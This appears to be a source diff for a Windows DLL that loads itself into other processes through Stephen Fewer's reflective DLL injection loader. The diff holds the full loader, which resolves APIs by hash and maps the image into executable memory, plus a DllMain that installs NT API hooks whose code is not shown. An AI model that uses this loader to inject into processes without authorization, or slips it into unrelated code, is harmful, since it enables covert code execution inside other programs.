#ifndef _NTAPIHOOKS_H
#define _NTAPIHOOKS_H
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize all NT API hooks
void InstallNtApiHooks(LPVOID lpParameter);
// Remove all NT API hooks
void RemoveNtApiHooks();
#ifdef __cplusplus
}
#endif
#endif // _NTAPIHOOKS_H
+12
View File
@@ -0,0 +1,12 @@
//===============================================================================================//
// NT API Hook Configuration
// Edit this file and rebuild to change settings
//===============================================================================================//
#ifndef _NTAPIHOOKS_CONFIG_H
#define _NTAPIHOOKS_CONFIG_H
// Set to 1 to enable detailed logging, 0 to disable
// Log file will be created at %TEMP%\rdi_hooks.log
#define ENABLE_DEBUG_LOGGING 0
#endif // _NTAPIHOOKS_CONFIG_H
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+43
View File
@@ -0,0 +1,43 @@
//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "NtApiHooks.h"
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;
// Store the parameter passed to ReflectiveLoader
extern LPVOID g_lpReflectiveParameter;
//===============================================================================================//
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
DisableThreadLibraryCalls(hinstDLL);
// Install NT API hooks with the parameter passed from the injector
InstallNtApiHooks(g_lpReflectiveParameter);
break;
case DLL_PROCESS_DETACH:
// Remove hooks on detach
RemoveNtApiHooks();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
+500
View File
@@ -0,0 +1,500 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
+203
View File
@@ -0,0 +1,203 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <Winsock2.h>
#include <intrin.h>
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#pragma intrinsic( _rotr )
__forceinline DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
__forceinline DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
